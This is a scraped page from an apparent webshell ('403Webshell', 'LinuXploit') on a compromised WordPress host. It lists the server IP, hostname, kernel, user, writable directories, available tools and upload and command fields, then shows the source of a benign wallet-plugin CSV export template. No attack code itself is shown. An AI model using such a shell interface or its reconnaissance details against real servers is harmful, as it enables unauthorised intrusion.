403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/woo-wallet/templates/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/woo-wallet/templates/admin/html-exporter.php
<?php
/**
 * Admin View: Wallet Transactions Export
 *
 * @package StandaleneTech
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
wp_enqueue_script( 'selectWoo' );
wp_enqueue_script( 'terawallet-exporter-script' );
$exporter = new TeraWallet_CSV_Exporter();
?>
<div class="wrap">
	<h1><?php esc_html_e( 'Export Transactions', 'woo-wallet' ); ?></h1>
	<div class="terawallet-exporter-wrapper">
		<form class="terawallet-exporter">
			<header>
				<span class="spinner is-active"></span>
				<h2><?php esc_html_e( 'Export transactions to a CSV file', 'woo-wallet' ); ?></h2>
				<p><?php esc_html_e( 'This tool allows you to generate and download a CSV file containing a list of all transactions.', 'woo-wallet' ); ?></p>
			</header>
			<section>
				<table class="form-table woocommerce-exporter-options">
					<tbody>
						<tr>
							<th scope="row">
								<label for="terawallet-exporter-type"><?php esc_html_e( 'Wallet balance only?', 'woo-wallet' ); ?></label>
							</th>
							<td>
								<input type="checkbox" <?php checked( true ); ?> name="terawallet-exporter-type" id="terawallet-exporter-type" class="terawallet-exporter-type" value="1">
							</td>
						</tr>
						<tr class="export-transaction-settings-fields">
							<th scope="row">
								<label for="terawallet-exporter-columns"><?php esc_html_e( 'Which columns should be exported?', 'woo-wallet' ); ?></label>
							</th>
							<td>
								<select id="terawallet-exporter-columns" name="terawallet-exporter-columns" class="terawallet-exporter-columns wc-enhanced-select" style="width:100%;" multiple data-placeholder="<?php esc_attr_e( 'Export all columns', 'woo-wallet' ); ?>">
									<?php
									foreach ( $exporter->get_default_column_names() as $column_id => $column_name ) {
										echo '<option value="' . esc_attr( $column_id ) . '">' . esc_html( $column_name ) . '</option>';
									}
									?>
								</select>
							</td>
						</tr>
						<tr>
							<th scope="row">
								<label for="terawallet-exporter-users"><?php esc_html_e( 'Which users should be exported?', 'woo-wallet' ); ?></label>
							</th>
							<td>
								<select id="terawallet-exporter-users" name="terawallet-exporter-users" class="terawallet-exporter-users" style="width:100%;" multiple data-placeholder="<?php esc_attr_e( 'Export all users', 'woo-wallet' ); ?>"></select>
							</td>
						</tr>
						<tr class="export-transaction-settings-fields">
							<th scope="row">
								<label for="terawallet-exporter-from-date"><?php esc_html_e( 'From date', 'woo-wallet' ); ?></label>
							</th>
							<td>
								<input type="date" id="terawallet-exporter-from-date" name="terawallet-exporter-from-date" style="width: 100%" class="terawallet-exporter-from-date" />
							</td>
						</tr>
						<tr class="export-transaction-settings-fields">
							<th scope="row">
								<label for="terawallet-exporter-to-date"><?php esc_html_e( 'To date', 'woo-wallet' ); ?></label>
							</th>
							<td>
								<input type="date" id="terawallet-exporter-to-date" name="terawallet-exporter-to-date" style="width: 100%" class="terawallet-exporter-to-date" />
							</td>
						</tr>
					</tbody>
				</table>
				<progress class="terawallet-exporter-progress" max="100" value="50"></progress>
			</section>
			<div class="tw-actions">
				<button type="submit" class="terawallet-exporter-button button button-primary" value="<?php esc_attr_e( 'Generate CSV', 'woo-wallet' ); ?>"><?php esc_html_e( 'Generate CSV', 'woo-wallet' ); ?></button>
			</div>
		</form>
	</div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit